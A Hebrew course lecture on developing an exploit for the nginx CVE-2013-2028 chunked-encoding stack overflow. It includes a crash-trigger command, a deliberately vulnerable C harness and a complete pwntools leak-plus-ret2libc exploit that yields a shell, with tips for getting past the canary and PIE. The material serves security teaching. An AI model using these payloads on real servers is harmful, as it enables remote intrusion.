10.5 כתיבת exploit ל CVE אמיתי הרצאה
עד עכשיו בפרק הזה למדנו למצוא חולשות: סקירת קוד מקור (10.1), fuzzing עם AFL ועם sanitizers (10.2, 10.3), וקריאת CVE ו-n-day כדי להבין באג שכבר פורסם (10.4). אבל למצוא קריסה זה חצי מהסיפור. השאלה האמיתית של חוקר חולשות היא: האם מהקריסה הזו אפשר להגיע ל-shell? בשיעור הזה נסגור את המעגל של כל הקורס. ניקח חולשת השחתת זיכרון אמיתית ומתועדת, נקרא את האדבייזרי, נשיג את הגרסה הvulnerable, נשחזר את הקריסה בקונטיינר מבוקר, ננתח את הפרימיטיב, ואז נחבר את כל מה שלמדנו בפרקים 2 עד 7 - מציאת offset עם cyclic, leak libc לעקיפת ASLR, ROP, ו-one_gadget - ל-exploit אחד אמין. זה השיעור שבו התיאוריה הופכת ל-shell על מטרה אמיתית.
מהאדבייזרי ל-shell - מפת הדרך¶
לפני שנצלול לחולשה ספציפית, בואו נראה את התהליך המלא של פיתוח exploit ל-n-day. זו אותה מתודולוגיה שתשתמשו בה מול כל CVE, לא רק זה שנבחר היום:
1. Reading the advisory -> what type of vulnerability, which function, what input triggers it
2. Getting the vulnerable version -> apt pin, git checkout before the fix, or build from source
3. Reproducing the crash -> trigger the bug in a controlled container, see SIGSEGV
4. Analyzing the primitive -> what exactly are we overwriting, how many bytes, where does the control come from
5. Building the primitive -> control over RIP (or write-what-where) on a local harness
6. Bypassing mitigations -> leak for ASLR, canary, PIE
7. Reliable exploit -> ROP / one_gadget -> shell, then porting to the real target
הרעיון המרכזי: לא מתחילים לתקוף את המטרה המלאה מיד. קודם מבודדים את הפונקציה הvulnerable ל-harness קטן שאנחנו שולטים בו לגמרי, מפתחים עליו את הפרימיטיב, ורק אז מעבירים ליעד. ככה עובדים באמת בתעשייה, וככה נעבוד גם כאן.
בחירת המקרה - CVE-2013-2028 בשרת nginx¶
בחרנו חולשה קלאסית ומתועדת מצוין: החולשה CVE-2013-2028 בשרת ה-web הפופולרי nginx. הסיבות לבחירה: זו overflow buffer על המחסנית (בדיוק החומר של פרקים 2 ו-4), הסיבה השורשית פורסמה בפומבי, והחולשה חשובה היסטורית - היא אחת הפעמים המעטות שבהן nginx היה חשוף ל-RCE מרחוק.
הנה העובדות היבשות מתוך ה-NVD ומהאדבייזרי של היצרן:
- מזהה: CVE-2013-2028, התגלה על ידי Greg MacManus.
- מוצר: nginx בגרסאות 1.3.9 עד 1.4.0.
- סוג: גלישת חוצץ על המחסנית - stack buffer overflow.
- וקטור: בקשת HTTP עם קידוד chunked ו-chunk size זדוני.
- שורש: שגיאת סימן - signedness error בפירוק גודל ה-chunk.
קריאת האדבייזרי - מה באמת כתוב שם¶
אדבייזרי טוב אומר לכם שלושה דברים: איפה הבאג, איך מגיעים אליו, ומה השורש. בואו נפרק את זה. מנגנון ה-chunked transfer encoding מאפשר ללקוח לשלוח גוף בקשה בחתיכות, כשלפני כל חתיכה מופיע הגודל שלה בהקסדצימלי. nginx קורא את שורת הגודל, ממיר אותה למספר, ואז קורא את מספר הבתים הזה לתוך buffer.
הבאג: המשתנה שמחזיק את גודל ה-chunk הוא מסוג חתום - signed. השרת מבצע בדיקת גבולות שנראית תקינה (משהו בסגנון "אם הגודל גדול מהbuffer, הגבל אותו"), אבל הבדיקה היא השוואה חתומה. אם התוקף שולח גודל שגורם למשתנה להיות שלילי, הוא עובר את הבדיקה (מספר שלילי אינו גדול מגודל הbuffer), ואז הגודל השלילי מומר ל-size_t בקריאה ל-recv - והופך למספר ענק. התוצאה: nginx קורא הרבה יותר בתים מגודל הbuffer, ישר לתוך buffer על המחסנית.
הדרך הכי טובה למצוא בדיוק את הקוד הvulnerable היא לקרוא את טלאי התיקון - the patch. מסתכלים על ה-commit שתיקן את החולשה ורואים איזו שורה השתנתה:
git clone https://github.com/nginx/nginx
cd nginx
git log --oneline --all | grep -i chunk # locate the fix commit
git show <fix-commit> # see exactly what was fixed
בטלאי רואים שהתיקון הוסיף בדיקה שהגודל אינו שלילי לפני השימוש בו. זה מאשר את הניתוח: השורש הוא ערך חתום שנעשה שלילי ועוקף בדיקת גבולות. ברגע שאתם יודעים את הפונקציה ואת השורה, אתם יודעים איזה קלט לבנות.
הבנת הפרימיטיב - מה בדיוק אנחנו שולטים בו¶
לפני שכותבים בית אחד של exploit, מנסחים במדויק את הפרימיטיב - היכולת שהחולשה נותנת לנו. כאן הפרימיטיב הוא:
+---------------------------------------------------------------+
| Primitive: contiguous write of attacker-controlled bytes, |
| starting from a stack buffer and onward, much longer than the |
| buffer's size. In other words: classic buffer overflow -> |
| overwrite saved rbp -> overwrite RIP. |
+---------------------------------------------------------------+
זהו בדיוק אותו פרימיטיב מפרק 2. מהרגע שיש לנו שליטה ברציפות בתים שכוללת את הreturn address, כל ארגז הכלים של הקורס פתוח: cyclic למציאת ה-offset, leak לעקיפת ASLR, ROP ו-one_gadget לקבלת shell. החולשה השתנתה, הטכניקה זהה.
השגת הגרסה הvulnerable ושחזור הקריסה¶
השלב הראשון המעשי הוא להריץ את הגרסה הvulnerable בסביבה מבוקרת. לעולם לא עושים את זה על המערכת שלכם ישירות - תמיד בקונטיינר. בונים nginx 1.4.0 מהמקור בתוך Docker:
# Dockerfile.nginx
FROM ubuntu:18.04
RUN apt-get update && apt-get install -y build-essential wget libpcre3-dev zlib1g-dev
WORKDIR /src
RUN wget http://nginx.org/download/nginx-1.4.0.tar.gz && tar xzf nginx-1.4.0.tar.gz
WORKDIR /src/nginx-1.4.0
RUN ./configure --with-http_ssl_module && make && make install
EXPOSE 80
CMD ["/usr/local/nginx/sbin/nginx", "-g", "daemon off;"]
מריצים ושולחים בקשת chunked עם גודל זדוני כדי לראות שה-worker קורס:
docker build -f Dockerfile.nginx -t nginx-vuln .
docker run --rm -p 8080:80 nginx-vuln &
# request with Transfer-Encoding: chunked and a negative chunk size (in hex)
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\nffffffffffffffff\r\n' | nc 127.0.0.1 8080
ב-error.log של nginx נראה שה-worker קיבל signal 11 (SIGSEGV) - זה שחזור הקריסה. מצוין, אישרנו שהבאג אמיתי וניתן להפעלה מרחוק. אבל nginx המלא הוא יעד כבד ללימוד: יש בו canary, PIE, ותהליכי worker מרובים. לכן, בדיוק לפי המתודולוגיה, נבודד את הפרימיטיב ל-harness נקי, נשלים עליו את ה-exploit, ואז נדבר על ה-porting חזרה ל-nginx.
מעבדה נקייה - harness לפיתוח ה-exploit¶
הנה harness שמשחזר את הפרימיטיב המדויק של CVE-2013-2028: גודל chunk חתום, בדיקת גבולות שנראית בטוחה אך עוקפים אותה עם ערך שלילי, וoverflow לתוך buffer על המחסנית. שימו לב שהוא קורא את גוף הבקשה בלולאה, כמו ש-worker של nginx משרת כמה בקשות על אותו חיבור - זה קריטי, כי זה נותן לנו שתי הזדמנויות overflow באותו תהליך (leak ואז תקיפה):
// chunkserver.c - reproduces the primitive of CVE-2013-2028
#include <stdio.h>
#include <unistd.h>
static long read_line(char *dst, long max) {
long i = 0; char c;
while (i < max - 1) {
if (read(0, &c, 1) != 1) break; // raw read, without stdio
if (c == '\n') break;
dst[i++] = c;
}
dst[i] = 0;
return i;
}
static int parse_chunk_size(const char *s) {
int size = 0; // signed! this is the root of CVE-2013-2028
for (const char *p = s; *p; p++) {
int v; char c = *p;
if (c >= '0' && c <= '9') v = c - '0';
else if (c >= 'a' && c <= 'f') v = c - 'a' + 10;
else if (c >= 'A' && c <= 'F') v = c - 'A' + 10;
else break;
size = size * 16 + v; // overflows to negative on large input
}
return size;
}
static void discard_body(void) {
char buf[256]; // fixed buffer on the stack
char line[64];
write(1, "chunk> ", 7);
read_line(line, sizeof(line));
int size = parse_chunk_size(line);
if (size > (int)sizeof(buf)) // a check that looks safe - but is signed!
size = sizeof(buf);
read(0, buf, size); // negative size -> huge size_t -> overflow
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
for (;;)
discard_body(); // loop: like a worker serving repeated requests
return 0;
}
שימו לב לליבת הבאג: אם נשלח את שורת הגודל ffffffff, המשתנה החתום size יהיה 0xffffffff שכ-int הוא -1. הבדיקה size > sizeof(buf) היא השוואה חתומה, ו--1 אינו גדול מ-256, אז הקוד לא מגביל את הגודל. אחר כך read(0, buf, size) מקבל size בתור size_t, ו--1 הופך ל-0xffffffffffffffff. הקריאה תקרא כמה בתים שנשלח, ישר לתוך buf[256] - overflow. זהו בדיוק אותו מנגנון של החולשה האמיתית.
מקמפלים ומריצים כשירות בתוך קונטיינר, עם socat שמייצר תהליך לכל חיבור (כמו fork של worker):
# Dockerfile
FROM ubuntu:18.04
RUN apt-get update && apt-get install -y gcc socat && rm -rf /var/lib/apt/lists/*
WORKDIR /chal
COPY chunkserver.c .
RUN gcc -fno-stack-protector -no-pie -O0 -o chunkserver chunkserver.c
EXPOSE 1337
CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:./chunkserver"]
הצהרת הגנות מפורשת - בלי זה אי אפשר לתכנן exploit: בונים בינארי 64 ביט, בלי canary (-fno-stack-protector), בלי PIE (-no-pie), עם NX (ברירת מחדל של gcc), ואת ASLR משאירים דלוק (ברירת המחדל של הkernel). כלומר: תרחיש זהה ל-4.4, ולכן נעקוף ASLR בדיוק באותה שיטה - leak libc. את הcanary וה-PIE של nginx האמיתי נטפל בהם בסוף השיעור.
docker build -t chunkchal .
docker run --rm -p 1337:1337 chunkchal
# in another window: pull the exact libc of the target from the container
docker cp $(docker ps -q -f ancestor=chunkchal):/lib/x86_64-linux-gnu/libc.so.6 .
הערה חשובה: בחרנו Ubuntu 18.04 כי ה-libc שלו הוא glibc 2.27, אחד הנפוצים באתגרים, ואותו libc שראינו בהרצאת one_gadget (4.5). ה-libc שמשכתם מהקונטיינר הוא היעד המדויק שנחשב מולו כתובות.
שלב 1 - שליטה ב-RIP ומציאת ה-offset¶
כמו תמיד, מתחילים במציאת המרחק מתחילת הbuffer ועד הreturn address. שולחים שורת גודל שלילית כדי להפעיל את הoverflow, ואז דפוס cyclic:
from pwn import *
context.binary = elf = ELF('./chunkserver')
p = remote('127.0.0.1', 1337)
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n') # negative size -> bypasses the check
p.send(cyclic(400)) # overwrites the return address with a recognizable pattern
p.wait()
כשה-worker קורס, שולפים מה-core (או מ-$rsp ברגע ה-ret תחת gdb) את ארבעת הבתים שנדרסו לתוך כתובת החזרה, ומזהים את ה-offset:
offset = cyclic_find(0x6161616e) # e.g. the value we saw at the top of the stack
log.info('offset = %d', offset) # in our build it came out to 280
בבנייה הספציפית הזו ה-offset הוא 280 (buffer 256, padding alignment, ו-saved rbp של 8). אצלכם ייתכן ערך מעט שונה לפי הקומפיילר - תמיד מוצאים אותו עם cyclic, לא מנחשים. כדי לוודא שליטה מלאה ב-RIP, שולחים p64(0xdeadbeefcafebabe) בדיוק ב-offset ורואים ב-gdb שהתוכנית מנסה לקפוץ לשם.
שלב 2 - leak וחישוב בסיס libc¶
הגנת ASLR דלוקה, אז אנחנו לא יודעים מראש איפה libc. הפתרון זהה ל-4.4: מדליפים כתובת אמיתית מ-libc דרך ה-GOT, ומחזירים את הזרימה ל-main כדי לקבל סיבוב שני. מכיוון שהבינארי אינו PIE, כתובות ה-PLT, ה-GOT ו-main קבועות ואפשר להשתמש בהן בלי לדלוף אותן קודם.
Fake stack - the leak stage
+----------------------------+
| padding - 280 bytes | <-- fills buf and saved rbp
+----------------------------+
| pop rdi ; ret | <-- discard_body's ret jumps here
+----------------------------+
| puts@got | <-- popped into rdi (the argument to puts)
+----------------------------+
| puts@plt | <-- puts(&puts@got) prints a real libc address
+----------------------------+
| main | <-- return to main -> discard_body runs again
+----------------------------+
בקוד, נותנים ל-pwntools לבנות את הchain:
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # puts(&puts@got) -> leaks
rop.call('main') # return to the loop for a second round
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({offset: rop.chain()}))
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = ELF('./libc.so.6') # the libc we pulled from the container
libc.address = leaked - libc.symbols['puts'] # libc base for this run
log.success('libc base = %#x', libc.address)
assert libc.address & 0xfff == 0, 'base not aligned -> wrong libc'
הבדיקה libc.address & 0xfff == 0 היא בדיקת שפיות: בסיס libc תמיד מיושר לעמוד, אז הוא חייב להיגמר ב-000. אם לא - ה-libc שבידיכם אינו הגרסה של המטרה, וצריך לזהות את הגרסה מ-12 הביטים התחתונים של הleak (libc.rip או libc-database, כמו ב-4.4). כאן משכנו את ה-libc ישירות מהקונטיינר, אז זה תואם.
שלב 3 - one_gadget או ret2libc¶
עכשיו בסיס libc ידוע, ונשאר לפתוח shell. שתי דרכים, בדיוק כמו ב-4.5. נתחיל ב-one_gadget - הקצר ביותר. מריצים אותו על ה-libc של המטרה:
עבור glibc 2.27 (Ubuntu 18.04) המועמדים הידועים הם 0x4f2c5, 0x4f322, 0x10a38c, כל אחד עם אילוץ משלו. תריצו בעצמכם ואל תעתיקו - הכתובות משתנות בין גרסאות. אילוץ שקל לספק הוא [rsp+0x40] == NULL: מכיוון שאנחנו שולטים במחסנית, מספיק לרפד את הpayload בבתי אפס אחרי כתובת הגאדג'ט:
og = libc.address + 0x4f322 # execve("/bin/sh", rsp+0x40, environ)
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0]})) # zeros -> [rsp+0x40]==NULL
p.interactive()
אם אף one_gadget לא מסתדר עם המצב, נופלים לחלופה האמינה - ret2libc מלא. זו כמעט תמיד עובדת כי אנחנו בונים את המצב בעצמנו ולא מסתמכים על אוגרים אקראיים:
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00')) # the string exists inside libc
rop2.raw(rop2.find_gadget(['ret'])[0]) # 16-byte alignment (movaps)
rop2.call(libc.symbols['system'], [binsh])
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({offset: rop2.chain()}))
p.interactive()
גאדג'ט ה-ret הבודד קריטי: system ב-64 ביט קורסת על הוראת movaps אם rsp אינו מיושר ל-16 בתים. אם ה-shell לא נפתח למרות שהכל נראה נכון - כמעט תמיד זו בעיית הalignment הזו.
ה-exploit המלא¶
נחבר את שלושת השלבים לזרימה אחת. שימו לב שהכל קורה על חיבור TCP אחד, ולכן ASLR יציב בין הleak לתקיפה - זה בדיוק העיקרון של worker מתמשך שמשרת כמה בקשות:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./chunkserver')
libc = ELF('./libc.so.6') # pulled from the container with docker cp
def conn():
return remote('127.0.0.1', 1337)
offset = 280 # found with cyclic
# ===== stage 1: leaking puts via the GOT =====
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call('main')
p = conn()
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n') # negative size -> bypasses the signed check
p.send(flat({offset: rop.chain()}))
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success('libc base = %#x', libc.address)
assert libc.address & 0xfff == 0, 'libc mismatch'
# ===== stage 2: ret2libc with the computed addresses =====
rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))
rop2.raw(rop2.find_gadget(['ret'])[0])
rop2.call(libc.symbols['system'], [binsh])
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({offset: rop2.chain()}))
p.interactive()
מריצים מול הקונטיינר, ומקבלים shell מרחוק, עם NX ו-ASLR פעילים, על בינארי שמשחזר חולשת CVE אמיתית. עצרו והעריכו את זה: זה בדיוק מסלול העבודה של n-day מלא, מהאדבייזרי ועד ה-shell.
מהמעבדה ליעד האמיתי - canary, PIE, ו-fork¶
ה-harness שלנו בודד את הפרימיטיב, אבל nginx האמיתי מוקשח יותר. הנה ההבדלים ואיך מתמודדים עם כל אחד, ברמת הטכניקה:
- קנרי על המחסנית. nginx נבנה עם canary, אז overflow עד הreturn address תדרוס אותו והתהליך יתאבד לפני ה-
ret. הפתרון: אותה overflow נותנת גם קריאה - בחולשה כזו אפשר לדלוף את הcanary (למשל דרך תגובת שגיאה שמחזירה חלק מהbuffer, או דרך overflow שקוראת), ואז לכתוב אותו בחזרה במקומו בpayload. הcanary יציב לאורך חיי ה-worker, אז leak אחת מספיקה. - קוד בלתי תלוי מיקום - PIE. אם גם הקוד אקראי, כתובות ה-PLT וה-
mainלא קבועות, וצריך leak נוספת של בסיס הבינארי לפני שאפשר לבנות את שרשרת הleak של libc. מדליפים כתובת קוד כלשהי (למשל saved return address של פריים אחר), מחשבים את בסיס הבינארי, ומשם ממשיכים. - תהליכי worker ו-fork. worker של nginx חי לאורך זמן ומשרת בקשות רבות. זה יתרון ענק לתוקף: הכתובות (ASLR, canary) יציבות בין בקשות, אז אפשר לדלוף בבקשה אחת ולתקוף בבאה - בדיוק מה שניצלנו ב-harness. יתרה מזו, אם ה-worker קורס הוא מופעל מחדש עם מרחב כתובות חדש, מה שבמקרים מסוימים מאפשר brute-force על בייט אחד של כתובת עד שנוחתים נכון.
המסר: הקפיצה מ-harness ליעד מלא היא לא קסם, אלא שכבות. כל הגנה נוספת דורשת leak נוספת או שלב נוסף, אבל הפרימיטיב הבסיסי - שליטה ב-RIP - נשאר אותו דבר, וכל הטכניקות של הקורס עדיין חלות.
סיכום¶
- פיתוח exploit ל-CVE הוא תהליך מסודר: אדבייזרי -> גרסה vulnerable -> שחזור קריסה -> ניתוח פרימיטיב -> בניית פרימיטיב על harness -> עקיפת הגנות -> exploit אמין -> porting ליעד.
- החולשה CVE-2013-2028 ב-nginx היא שגיאת סימן: גודל chunk חתום נעשה שלילי, עוקף בדיקת גבולות חתומה, ומומר ל-
size_tענק שגורם לoverflow buffer על המחסנית. - קוראים את שורש הבאג מטלאי התיקון (
git show <fix-commit>), ומנסחים את הפרימיטיב במדויק לפני שכותבים קוד. - מבודדים את הפונקציה הvulnerable ל-harness קטן ומריצים בקונטיינר. זה מאפשר לפתח את ה-exploit בשליטה מלאה לפני שמתמודדים עם היעד המוקשח.
- מהרגע שיש שליטה ב-RIP, הכל מוכר: cyclic ל-offset, leak GOT לחישוב בסיס libc (עוקף ASLR), ואז one_gadget או ret2libc ל-shell.
- ההנחות ב-harness: NX פעיל, ASLR פעיל, בלי canary, בלי PIE. ב-nginx האמיתי מוסיפים leak canary וleak בסיס PIE, ומנצלים את יציבות הכתובות ב-worker המתמשך.